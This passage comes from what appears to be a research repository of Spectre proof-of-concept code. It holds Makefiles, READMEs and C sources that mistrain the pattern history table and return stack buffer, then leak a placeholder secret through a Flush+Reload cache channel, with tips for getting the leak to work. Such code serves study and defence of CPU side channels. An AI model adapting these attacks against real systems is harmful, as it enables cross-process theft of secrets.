Thus, the length check is written as division (which is usually a slow operation). ``` x < len <=> x / len < 1 ``` (assuming both the length of the data as well as the index to the array are positive) This PoC is similar to the in-place mistraining variant, but now we fork and have one process do the mistraining while the other performs the out-of-bounds access and the recovery of the data. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang in "Leak secret..." + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/PHT/ca_ip/main.c ================================================ #include #include #include #include #include #include #include "../../../libcache/cacheutils.h" // accessible data #define DATA "data|" // inaccessible secret (following accessible data) #define SECRET "INACCESSIBLE SECRET" #define DATA_SECRET DATA SECRET unsigned char data[128]; char access_array(int x) { // flushing the data which is used in the condition increases // probability of speculation size_t len = sizeof(DATA) - 1; mfence(); flush(&len); flush(&x); // ensure data is flushed at this point mfence(); // check that only accessible part (DATA) can be accessed if((float)x / (float)len < 1) { // countermeasure: add the fence here cache_encode(data[x]); } } int main(int argc, const char **argv) { // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); pagesize = sysconf(_SC_PAGESIZE); char *_mem = malloc(pagesize * (256 + 4)); // page aligned mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); pid_t pid = fork(); // initialize memory memset(mem, pid, pagesize * 256); // store secret memset(data, ' ', sizeof(data)); memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); // ensure data terminates data[sizeof(data) / sizeof(data[0]) - 1] = '0'; // flush our shared memory flush_shared_memory(); // nothing leaked so far char leaked[sizeof(DATA_SECRET) + 1]; memset(leaked, ' ', sizeof(leaked)); leaked[sizeof(DATA_SECRET)] = 0; int j = 0; while(1) { // for every byte in the string j = (j + 1) % sizeof(DATA_SECRET); // mistrain with valid index if(pid == 0) { for(int y = 0; y < 10; y++) { access_array(0); } } else { // potential out-of-bounds access access_array(j); // only show inaccessible values (SECRET) if(j >= sizeof(DATA) - 1) { mfence(); // avoid speculation cache_decode_pretty(leaked, j); } if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) break; sched_yield(); } } printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); } ================================================ FILE: pocs/spectre/PHT/ca_oop/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/PHT/ca_oop/README.md ================================================ # Spectre-PHT PoC This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` [*] Flush+Reload Threshold: 180 [ ] INACCESSIBLE SECRET [>] Done ``` ## How it works The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation). ``` x < len <=> x / len < 1 ``` (assuming both the length of the data as well as the index to the array are positive) For the out-of-place mistraining of the Pattern History Table (PHT) that is responsible for the prediction we simply fill a large chunk of memory with a jump if equal follwing a comparison. We do this as we do not know the exact bits that are used for indexing the PHT. In this version, we also fork and to the mistraining in one process while the other process performs the out-of-bounds access and recovering of the data. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang in "Leak secret..." + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. + **Solution #5:** This PoC depends on the code the compiler emits. Try inverting the JE macro or the if-statement in the mistraining function ================================================ FILE: pocs/spectre/PHT/ca_oop/main.c ================================================ #include #include #include #include #include #include #include "../../../libcache/cacheutils.h" // accessible data #define DATA "data|" // inaccessible secret (following accessible data) #define SECRET "INACCESSIBLE SECRET" #define likely(x) __builtin_expect((x),1) #define unlikely(x) __builtin_expect((x),0) #define DATA_SECRET DATA SECRET unsigned char data[128]; char access_array(int x) { // flushing the data which is used in the condition increases // probability of speculation size_t len = sizeof(DATA) - 1; mfence(); flush(&len); flush(&x); // ensure data is flushed at this point mfence(); // check that only accessible part (DATA) can be accessed if (unlikely((float)x / (float)len < 1)) { // countermeasure: add the fence here cache_encode(data[x]); } } volatile int true = 1; // Span a large part of memory with jumps if equal #if defined(__i386__) || defined(__x86_64__) #define JE asm volatile("je end"); #else #define JE asm volatile("beq end"); #endif #define JE_16 JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE #define JE_256 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 #define JE_4K JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 #define JE_64K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K void oop() { if(!true) true++; JE_64K end: return; } int main(int argc, const char **argv) { pagesize = sysconf(_SC_PAGESIZE); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); char *_mem = malloc(4096 * (256 + 4)); // page aligned mem = (char *)(((size_t)_mem & ~(pagesize - 1)) + pagesize * 2); pid_t pid = fork(); // initialize memory memset(mem, pid, pagesize * 256); // store secret memset(data, ' ', sizeof(data)); memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); // ensure data terminates data[sizeof(data) / sizeof(data[0]) - 1] = '0'; // flush our shared memory flush_shared_memory(); // nothing leaked so far char leaked[sizeof(DATA_SECRET) + 1]; memset(leaked, ' ', sizeof(leaked)); leaked[sizeof(DATA_SECRET)] = 0; int j = 0; while (1) { // for every byte in the string j = (j + 1) % sizeof(DATA_SECRET); // mistrain out of place if(pid == 0) { for(int y = 0; y < 100; y++) { oop(); } } else { // only show inaccessible values (SECRET) if(j >= sizeof(DATA) - 1) { mfence(); // avoid speculation // out of bounds access access_array(j); // Recover data from covert channel cache_decode_pretty(leaked, j); } if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) break; sched_yield(); } } printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); return 0; } ================================================ FILE: pocs/spectre/PHT/sa_ip/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/PHT/sa_ip/README.md ================================================ # Spectre-PHT PoC This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` [*] Flush+Reload Threshold: 180 [ ] INACCESSIBLE SECRET [>] Done ``` ## How it works The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation). ``` x < len <=> x / len < 1 ``` (assuming both the length of the data as well as the index to the array are positive) ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang in "Leak secret..." + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/PHT/sa_ip/main.c ================================================ #include #include #include #include #include #include #include "../../../libcache/cacheutils.h" // accessible data #define DATA "data|" // inaccessible secret (following accessible data) #define SECRET "INACCESSIBLE SECRET" #define DATA_SECRET DATA SECRET unsigned char data[128]; char access_array(int x) { // flushing the data which is used in the condition increases // probability of speculation size_t len = sizeof(DATA) - 1; mfence(); flush(&len); flush(&x); // ensure data is flushed at this point mfence(); // check that only accessible part (DATA) can be accessed if((float)x / (float)len < 1) { // countermeasure: add the fence here // Encode in cache cache_encode(data[x]); } } int main(int argc, const char **argv) { pagesize = sysconf(_SC_PAGESIZE); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); char *_mem = malloc(pagesize * (256 + 4)); // page aligned mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); // initialize memory memset(mem, 0, pagesize * 256); // store secret memset(data, ' ', sizeof(data)); memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); // ensure data terminates data[sizeof(data) / sizeof(data[0]) - 1] = '0'; // flush our shared memory flush_shared_memory(); // nothing leaked so far char leaked[sizeof(DATA_SECRET) + 1]; memset(leaked, ' ', sizeof(leaked)); leaked[sizeof(DATA_SECRET)] = 0; int j = 0; while (1) { // for every byte in the string j = (j + 1) % sizeof(DATA_SECRET); // mistrain with valid index for(int y = 0; y < 10; y++) { access_array(0); } // potential out-of-bounds access access_array(j); // only show inaccessible values (SECRET) if(j >= sizeof(DATA) - 1) { mfence(); // avoid speculation // Recover data from covert channel cache_decode_pretty(leaked, j); } if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) break; sched_yield(); } printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); return (0); } ================================================ FILE: pocs/spectre/PHT/sa_oop/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/PHT/sa_oop/README.md ================================================ # Spectre-PHT PoC This folder contains a Spectre-PHT proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` [*] Flush+Reload Threshold: 180 [ ] INACCESSIBLE SECRET [>] Done ``` ## How it works The array `data` stores some accessible data (defined in `DATA`) followed by some inaccessible data (defined in `SECRET`). The `access_array` function takes an index to the array and checks whether it accesses the "accessible" part of the array. If so, it encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). If this bound check is mistrained often enough, the CPU (speculatively) executes the code inside the condition also for invalid indices (i.e., indices out of bounds). The longer the condition takes to resolve, the higher the probability that the CPU (mis)speculates. Thus, the length check is written as division (which is usually a slow operation). For the out-of-place mistraining of the Pattern History Table (PHT) that is responsible for the prediction we simply fill a large chunk of memory with a jump if equal follwing a comparison. We do this as we do not know the exact bits that are used for indexing the PHT. ``` x < len <=> x / len < 1 ``` (assuming both the length of the data as well as the index to the array are positive) ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang in "Leak secret..." + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. + **Solution #5:** This PoC depends on the code the compiler emits. Try inverting the JE macro or the if-statement in the mistraining function ================================================ FILE: pocs/spectre/PHT/sa_oop/main.c ================================================ #include #include #include #include #include #include #include "../../../libcache/cacheutils.h" // accessible data #define DATA "data|" // inaccessible secret (following accessible data) #define SECRET "INACCESSIBLE SECRET" #define likely(x) __builtin_expect((x),1) #define unlikely(x) __builtin_expect((x),0) #define DATA_SECRET DATA SECRET unsigned char data[128]; char access_array(int x) { // flushing the data which is used in the condition increases // probability of speculation size_t len = sizeof(DATA) - 1; mfence(); flush(&len); flush(&x); // ensure data is flushed at this point mfence(); // check that only accessible part (DATA) can be accessed if(unlikely((float)x / (float)len < 1)) { // countermeasure: add the fence here // Encode data in cache cache_encode(data[x]); } } volatile int true = 1; // Span large part of memory with jump if equal #if defined(__i386__) || defined(__x86_64__) #define JE asm volatile("je end"); #elif defined(__aarch64__) #define JE asm volatile("beq end"); #endif #define JE_16 JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE JE #define JE_256 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 JE_16 #define JE_4K JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 JE_256 #define JE_64K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K JE_4K void oop() { #if defined(__i386__) || defined(__x86_64__) if(!true) true++; #elif defined(__aarch64__) if(true) true++; #endif JE_64K end: return; } int main(int argc, const char **argv) { pagesize = sysconf(_SC_PAGESIZE); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); char *_mem = malloc(pagesize * (256 + 4)); // page aligned mem = (char *)(((size_t)_mem & ~(pagesize - 1)) + pagesize * 2); // initialize memory memset(mem, 0, pagesize * 256); // store secret memset(data, ' ', sizeof(data)); memcpy(data, DATA_SECRET, sizeof(DATA_SECRET)); // ensure data terminates data[sizeof(data) / sizeof(data[0]) - 1] = '0'; // flush everything flush_shared_memory(); // nothing leaked so far char leaked[sizeof(DATA_SECRET) + 1]; memset(leaked, ' ', sizeof(leaked)); leaked[sizeof(DATA_SECRET)] = 0; int j = 0; while(1) { // for every byte in the string j = (j + 1) % sizeof(DATA_SECRET); // mistrain out of place for(int y = 0; y < 100; y++) { oop(); } // only show inaccessible values (SECRET) if(j >= sizeof(DATA) - 1) { mfence(); // avoid speculation // out of bounds access access_array(j); // Recover data from covert channel cache_decode_pretty(leaked, j); } if(!strncmp(leaked + sizeof(DATA) - 1, SECRET, sizeof(SECRET) - 1)) break; sched_yield(); } printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); return 0; } ================================================ FILE: pocs/spectre/RSB/ca_ip/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/RSB/ca_ip/README.md ================================================ # Spectre-RSB PoC This folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S ``` ## How it works In this PoC, both attacker and victim call the function `in_place` and areb put to sleep for different amount of time. With the call to `in_place` both the attacker and victim push their return address on the RSB. When the victim wakes up first it returns and pops the last address from the RSB. This causes it to misspeculate to the return address of the attacker where the secret data is leaked. This PoC works as the RSB is not flushed on a context switch and therefore the value pushed by another process are used by another one. The RSB is not shared among hyperthreads, so both attacker and victim must run on the same logical core. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/RSB/ca_ip/main.c ================================================ #include #include #include #include #include #include #include #include "libcache/cacheutils.h" #define SECRET 'S' char secret; pid_t is_child; void __attribute__((noinline)) in_place() { // We let the child (victim) sleep for a shorter period of time // Therefore, the victim should pop the attackers return address from the RSB if(is_child) usleep(500); else usleep(50); return; } void __attribute__((noinline)) attacker() { while(1) { in_place(); // Encode data in cache // Victim is supposed to return cache_encode(secret); } return; } void __attribute__((noinline)) victim() { while(1) { // Flush our shared memory flush_shared_memory(); mfence(); // Put to sleep and return transiently to wrong address before returning here in_place(); // Recover data from the covert channel for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) & 255; if(flush_reload(mem + mix_i * pagesize)) { if(mix_i != '.') { printf("%c ", mix_i); fflush(stdout); } } } } } int main(int argc, char **argv) { // Detect cache threshold if (!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); pagesize = sysconf(_SC_PAGESIZE); char *_mem = malloc(pagesize * (256 + 4)); mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); memset(mem, 0, pagesize * 256); // OOP attack, so fork is_child = fork() == 0; // Attacker always encodes a dot in the cache if(is_child) { secret = '.'; attacker(); } else { secret = SECRET; victim(); } } ================================================ FILE: pocs/spectre/RSB/ca_oop/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/RSB/ca_oop/README.md ================================================ # Spectre-RSB PoC This folder contains a Spectre-RSB proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S S S ``` ## How it works In this PoC, the victim constantly calls the function `wrong_return` and is put to sleep while the attacker (in his own process) manipulates the software stack by destroying the return address. Important is that the attacker does this in a function which is called so that the return address is pushed on the RSB. The attacker then returns from the function with an ordinary jump instead of a return so that the value is not popped from the RSB. When the victim wakes up it will return to the wrong location and leaks the secret data. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/RSB/ca_oop/main.c ================================================ #include #include #include #include #include #include #include #include "libcache/cacheutils.h" #define SECRET 'S' char secret; // Put to sleep for a long period of time void __attribute__((noinline)) wrong_return() { usleep(100000); return; } // Pop the return address from the software stack, causing misspeculation void __attribute__((noinline)) pollute_rsb() { #if defined(__i386__) || defined(__x86_64__) asm volatile("pop %%rax\n" : : : "rax"); asm("jmp return_label"); #elif defined(__aarch64__) asm volatile("ldp x29, x30, [sp],#16\n" : : : "x29"); asm("b return_label"); #endif } int main(int argc, char **argv) { // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); pagesize = sysconf(_SC_PAGESIZE); char *_mem = malloc(pagesize * (256 + 4)); mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); memset(mem, 0, pagesize * 256); // OOP attack, so fork pid_t is_child = fork() == 0; // Attacker always encodes a dot in the cache if(is_child) secret = '.'; else secret = SECRET; // Attacker destroys the software stack return address, causing misspeculation if(is_child) { while (1) { // required so that we don't return from our pollute_rsb function, never popping it from the RSB asm("return_label:"); pollute_rsb(); // no real execution of this maccess, so we normally should never have cache hits // Victim is transiently misdirected here cache_encode(secret); maccess(0); } } else { while(1) { // Flush shared memory flush_shared_memory(); mfence(); // Call function and transiently return to wrong location before coming back here wrong_return(); // Recover data from covert channel for (int i = 0; i < 256; i++) { // flush and reload if (flush_reload(mem + i * pagesize)) { printf("%c ", i); fflush(stdout); } } sched_yield(); } } } ================================================ FILE: pocs/spectre/RSB/sa_ip/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ -lpthread main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ -lpthread clean: rm -f poc_* ================================================ FILE: pocs/spectre/RSB/sa_ip/README.md ================================================ # Spectre-RSB PoC This folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In this PoC, both attacker and victim write a value to a register and call the function `in_place`. This function retrieves the value from the register and uses it as input to the function `usleep`. With the call to `in_place` both the attacker and victim push their return address on the RSB. When the victim wakes up first it returns and pops the last address from the RSB. This causes it to misspeculate to the return address of the attacker where the secret data is leaked. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/RSB/sa_ip/main.c ================================================ #include #include #include #include #include #include "libcache/cacheutils.h" // Sleep for an predetermined amount of time specified in register r14 void __attribute__((noinline)) in_place() { size_t time = 0; asm volatile("movq %%r14, %0\n\t" : "=r"(time)); usleep(time); return; } void* __attribute__((noinline)) attacker() { // Attacker is going to sleep for 65 asm volatile("movq $65, %r14\t\n"); // 65 is 'A' while(1) { // Put to sleep // As victim will sometimes wake up before the attacker, it will return here in_place(); size_t secret = 0; // Retrieve secret data from register r14 asm volatile("movq %%r14, %0\n\t": "=r"(secret)); // Encode data in covert channel cache_encode(secret); } } void* __attribute__((noinline)) victim() { // Victim is going to sleep for 83 asm volatile("movq $83, %r14\t\n"); // 83 is 'S' while(1) { // Call function and return here after misspeculation is detected in_place(); } } int main(int argc, char **argv) { pagesize = sysconf(_SC_PAGESIZE); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); char *_mem = malloc(pagesize * (256 + 4)); mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); memset(mem, 0, pagesize * 256); // Create two interleaving threads pthread_t attacker_thread; pthread_t victim_thread; pthread_create(&attacker_thread, 0, attacker, 0); pthread_create(&victim_thread, 0, victim, 0); while(1) { // Flush our shared memory flush_shared_memory(); mfence(); nospec(); // Recover data from covert channel for (int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher if (flush_reload(mem + mix_i * pagesize)) { if (mix_i > 'A' && mix_i <= 'Z') { printf("%c ", mix_i); break; } fflush(stdout); sched_yield(); } } } } ================================================ FILE: pocs/spectre/RSB/sa_oop/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/RSB/sa_oop/README.md ================================================ # Spectre-RSB PoC This folder contains a Spectre RSB proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` [*] Flush+Reload Threshold: 180 [ ] INACCESSIBLE SECRET [>] Done ``` ## How it works The PoC has the following call chain consisting of 3 functions: +------------+ +-----------+ +-----------------------+ | call_start | ---> | call_leak | ---> | call_manipulate_stack | +------------+ +-----------+ +-----------------------+ ^ ^ - - - - - - - ' (speculatively) | '-----------------------------------------------------' (architecturally) The `call_leak` function encodes some secret data and encodes the value at the given index in the cache (cf. Spectre or Meltdown attack). As the `call_manipulate_stack` removes the return address (which points to `call_leak`) from the stack, the return from `call_manipulate_stack` continues (architecturally) in `call_start`. Speculatively, however, the return returns to `call_leak` (as this is the location stored in the RSB) where the secret value is leaked. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program appears to hang + **Solution #1:** Pin the program to one 